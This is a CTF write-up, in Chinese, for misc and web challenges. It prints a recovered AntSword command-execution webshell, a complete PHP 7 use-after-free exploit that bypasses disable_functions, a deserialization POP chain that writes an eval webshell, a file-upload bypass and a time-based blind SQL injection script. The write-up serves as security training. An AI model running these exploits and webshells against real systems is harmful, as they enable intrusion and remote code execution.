每次比赛都能学到不少东西,这次也不例外
MISC misc1 txt打开乱码
用winhex打开选择 EBCDIC 编码就好了
misc2 Flask框架的题,最近遇到不少,该学学flask了
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import osfrom flask import requestfrom flask import Flasksecret = open ('/flag' , 'rb' ) os.remove('/flag' ) app = Flask(__name__) app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a' @app.route('/' ) def index (): return open (__file__).read() @app.route("/r" , methods=['POST' ] ) def r (): data = request.form["data" ] if os.path.exists(data): return open (data).read() return '' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 , debug=False )
可以进行任意文件读取,但是由脚本开始处可知flag被读取后源文件就删除了
但是, 在linux中每个被打开的文件都会在/proc/self/fd/目录中有记录,其中(/proc/self/fd/文件描述符号;这个文件是符号文件)的文件就是文件描述符所对应的文件。
平时我们在/proc/self/fd
目录下使用ls时,只能看到0,1,2,255四个文件,但是当我们用ls自动补全功能(tab)时,能看到0,1,2,3,255五个文件。
自动补全功能是bash内置的一个功能,而ls
是系统上的一个程序,以子进程的形式独立于bash运行。 所以如果bash这个自动补全功能打开了我们要补全的路径(文件夹也是文件),那么应该会获得文件描述符3,ls
也是一样。但是5736这个PID是bash的,所以我们用ls的时候看不到3而用bash的自动补全功能看得到。
python flask框架搭起来的服务器也是一个独立的程序,在此程序内打开的文件都会被记录于/proc/self/fd/3
中,所以我们可以直接读取/proc/self/fd/3
获得被打开的flag
/dev/fd/3
相同作用
misc3 见了鬼了,只能从控制台查看到关键信息
下载到html,利用记事本等工具打开一切正常
但是从控制台查看就有特殊信息
观察发现只有两种字符,猜测是二进制转字符串
webshell 审计流量,可以找到shell.php
转换完后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php @ini_set ("display_errors" , "0" ); @set_time_limit (0 ); function asenc ($out ) { @session_start (); $key ='f5045b05abe6ec9b1e37fafa851f5de9' ; return @base64_encode (openssl_encrypt (base64_encode ($out ), 'AES-128-ECB' , $key , OPENSSL_RAW_DATA)); }; function asoutput ( ) { $output =ob_get_contents (); ob_end_clean (); echo "0897d" ; echo @asenc ($output ); echo "60c97" ; }; ob_start ();try { $p =base64_decode ($_POST ["0xc461e86196f1a" ]); $s =base64_decode ($_POST ["0x9ec3fa98a283f" ]); $d =dirname ($_SERVER ["SCRIPT_FILENAME" ]); $c =substr ($d ,0 ,1 )=="/" ?"-c \"{$s} \"" :"/c \"{$s} \"" ;$r ="{$p} {$c} " ; function fe ($f ) { $d =explode ("," ,@ini_get ("disable_functions" )); if (empty ($d )){ $d =array (); } else { $d =array_map ('trim' ,array_map ('strtolower' ,$d )); } return (function_exists ($f )&&is_callable ($f )&&!in_array ($f ,$d )); }; function runcmd ($c ) { $ret =0 ; if (fe ('system' )){ @system ($c ,$ret ); }elseif (fe ('passthru' )){ @passthru ($c ,$ret ); }elseif (fe ('shell_exec' )){ print (@shell_exec ($c )); }elseif (fe ('exec' )){ @exec ($c ,$o ,$ret ); print (join ("" ,$o )); }elseif (fe ('popen' )){ $fp =@popen ($c ,'r' ); while (!@feof ($fp )){ print (@fgets ($fp , 2048 )); } @pclose ($fp ); }elseif (fe ('antsystem' )){ @antsystem ($c ); }else { $ret = 127 ; } return $ret ; }; $ret =@runcmd ($r ." 2>&1" ); print ($ret !=0 )?"ret={$ret} " :"" ; }catch (Exception $e ){ echo "ERROR://" .$e ->getMessage (); }; asoutput ();die ();
有个比较坑的地方,我以为这个地方输出的是固定的字符,然鹅它输出的却是随机的十个字符
解密脚本:
1 2 3 4 5 6 7 8 9 10 11 <?php $cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10" ;function decrypt ($cipher ) { $key = 'f5045b05abe6ec9b1e37fafa851f5de9' ; return @base64_decode (openssl_decrypt (base64_decode ($cipher ), 'AES-128-ECB' , $key , OPENSSL_RAW_DATA)); }; $cipher = substr ($cipher , 5 , strlen ($cipher ) - 10 );echo decrypt ($cipher );
Web ezbypass php7的一个绕过disablefunction的洞,有两个解法
第一个,把github上的exp传上去exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 <?php @pwn ($_REQUEST ['sdpc' ]); function pwn ($cmd ) { global $abc , $helper ; function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $text_size ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $text_size ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } class ryat { var $ryat ; var $chtg ; function __destruct ( ) { $this ->chtg = $this ->ryat; $this ->ryat = 1 ; } } class Helper { public $a , $b , $c , $d ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_repeat ('A' , 79 ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}' ; $out = unserialize ($poc ); gc_collect_cycles (); $v = []; $v [0 ] = ptr2str (0 , 79 ); unset ($v ); $abc = $out [2 ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ?>
第二个,传上个一句话,利用蚁剑的插件bypass
ezupload 题目返回的信息太坑了
源码泄露,存在.index.php.swp
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php session_start ();include "config.php" ;$username = $_POST ['username' ];$password = $_POST ['password' ];if (isset ($username )){ $sql = "select password from user where name=?" ; if ($stmt = $mysqli ->prepare ($sql )) { $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($dpasswd ); $stmt ->fetch (); if ($dpasswd === $password ){ $_SESSION ['login' ] = 1 ; header ("Location: /upload.php" ); }else { die ("login failed" ); } $stmt ->close (); } }else { header ("Location: /index.php" ); } $mysqli ->close ();
看到预编译就知道sql注入没戏了
但是,当$password = $_POST['password'];
不存在时,$password即为null
同样,当sql语句查询不存在结果时,也返回null
所以,username随便写,把password删掉再post发包即可登陆
登录后是个上传界面,传个图片马上去,返回
1 array (1 ) { ["avatar" ]=> array (5 ) { ["name" ]=> string (35 ) "illust_60354621_20170730_211351.jpg" ["type" ]=> string (10 ) "image/jpeg" ["tmp_name" ]=> string (14 ) "/tmp/phpIkG6uP" ["error" ]=> int (0 ) ["size" ]=> int (1919322 ) } } upload success!
以为传到/tmp目录下了,谁知道用扫描器一扫有个/uploads,而且上传后的文件名都没变。。。
过滤了.php,但是还能用.php5
ezpop 代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 <?php error_reporting (0 );class A { protected $store ; protected $key ; protected $expire ; public function __construct ($store , $key = 'flysystem' , $expire = null ) { $this ->key = $key ; $this ->store = $store ; $this ->expire = $expire ; } public function cleanContents (array $contents ) { $cachedProperties = array_flip ([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object ) { if (is_array ($object )) { $contents [$path ] = array_intersect_key ($object , $cachedProperties ); } } return $contents ; } public function getForStorage ( ) { $cleaned = $this ->cleanContents ($this ->cache); return json_encode ([$cleaned , $this ->complete]); } public function save ( ) { $contents = $this ->getForStorage (); $this ->store->set ($this ->key, $contents , $this ->expire); } public function __destruct ( ) { if (!$this ->autosave) { $this ->save (); } } } class B { protected function getExpireTime ($expire ): int { return (int ) $expire ; } public function getCacheKey (string $name ): string { return $this ->options['prefix' ] . $name ; } protected function serialize ($data ): string { if (is_numeric ($data )) { return (string ) $data ; } $serialize = $this ->options['serialize' ]; return $serialize ($data ); } public function set ($name , $value , $expire = null ): bool { $this ->writeTimes++; if (is_null ($expire )) { $expire = $this ->options['expire' ]; } $expire = $this ->getExpireTime ($expire ); $filename = $this ->getCacheKey ($name ); $dir = dirname ($filename ); if (!is_dir ($dir )) { try { mkdir ($dir , 0755 , true ); } catch (\Exception $e ) { } } $data = $this ->serialize ($value ); if ($this ->options['data_compress' ] && function_exists ('gzcompress' )) { $data = gzcompress ($data , 3 ); } $data = "<?php\n//" . sprintf ('%012d' , $expire ) . "\n exit();?>\n" . $data ; $result = file_put_contents ($filename , $data ); if ($result ) { return true ; } return false ; } } if (isset ($_GET ['src' ])){ highlight_file (__FILE__ );} $dir = "uploads/" ;if (!is_dir ($dir )){ mkdir ($dir );} unserialize ($_GET ["data" ]);
大体一看,B::set()
可以写入文件,而且文件的文件名、路径和文件内容后半部分可控,但前半部分有个exit()函数。
exit()函数可以利用base64_decode
以及php://filter
可以绕过。谈一谈php://filter的妙用
为了绕过exit,我们需要将前半部分补齐,使其被base64解码掉,去掉<?;>()这些无法被base64的字符,php//exit一共9个字符,我们需要再加3个,才能4个一组
我们只能将三个字符拼接在$data
中,我们要写入的一句话木马也在$data
中,从67-69行可知,$data
经过了一些处理,而处理data用到的函数可以由options['serialize']
控制,所以我们可以控制其为base64_decode
,这样写入内容的绕过就解决了。
$data
调用了A::getForStorage()
赋值,其值可由A::complete
控制
为了调用能写文件的B类,我们需要用到A类中的save函数,我们只需要把A::store
赋值为B类,且 A::autosave==false
就可以在第42行调用B::set()
再看看文件是怎么写的,文件名和路径由options['prefix']
控制,可以使用伪协议写,文件的后缀名有如下关系
EXP如下:
为了防止出错,我们还是把用不到的变量都赋下默认值吧。。
1 2 3 4 5 6 7 8 9 10 11 12 $b = new B ();$b ->writeTimes = 0 ;$b -> options = array ('serialize' => "base64_decode" , 'data_compress' => false , 'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/sdpc" ); $a = new A ($store = $b , $key = ".php" , $expire = 0 );$a ->autosave = false ;$a ->cache = array ();$a ->complete = base64_encode ('qwq' .base64_encode ('<?php @eval($_POST["sdpc"]);?>' ));echo urlencode (serialize ($a ));
ezwaf 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include "config.php" ;if (isset ($_GET ['src' ])){ highlight_file (__FILE__ ); } function escape ($arr ) { global $mysqli ; $newarr = array (); foreach ($arr as $key =>$val ) { if (!is_array ($val )) { $newarr [$key ] = mysqli_real_escape_string ($mysqli , $val ); } } return $newarr ; } $_GET = escape ($_GET );if (isset ($_GET ['name' ])){ $name = $_GET ['name' ]; mysqli_query ($mysqli , "select age from user where name='$name '" ); }else if (isset ($_GET ['age' ])) { $age = $_GET ['age' ]; mysqli_query ($mysqli , "select name from user where age=$age " ); }
本来以为直接用age
参数就能不用引号完成注入,但是?age=1 and sleep(5)
会报403。。。
后来才知道,这个题需要用到HTTP请求走私
HTTP走私介绍见另一篇文章
先看看这个题,这个题age参数看似没有过滤,但实际上服务器挂有waf,在遇到sql注入语句会返回403
由此可以尝试利用HTTP走私绕过waf,由于不知道走私的确切类型,可以一个一个尝试
首先是CL-CL 类型的,前端代理服务器返回了400错误,但是后端服务器可以正常延时
其他类型尝试均未成功,不知道是我方法错误还是其他原因
于是乎,就可以拿脚本跑出flag
1 2 3 4 5 6 7 8 9 10 11 12 import requestsflag = '' url = 'http://111.186.57.61:10601/?age=' for j in range (0 ,36 ): for i in range (0 ,128 ): try : web = requests.get(url+'-1 or if((ascii(substr((select group_concat(flag_32122) from flag_xdd),{0},1))={1}),sleep(4),1)' .format (str (j),str (i)),headers={'Content-Length' :'' },timeout=2 ) except Exception as e: flag +=chr (i) print (flag) break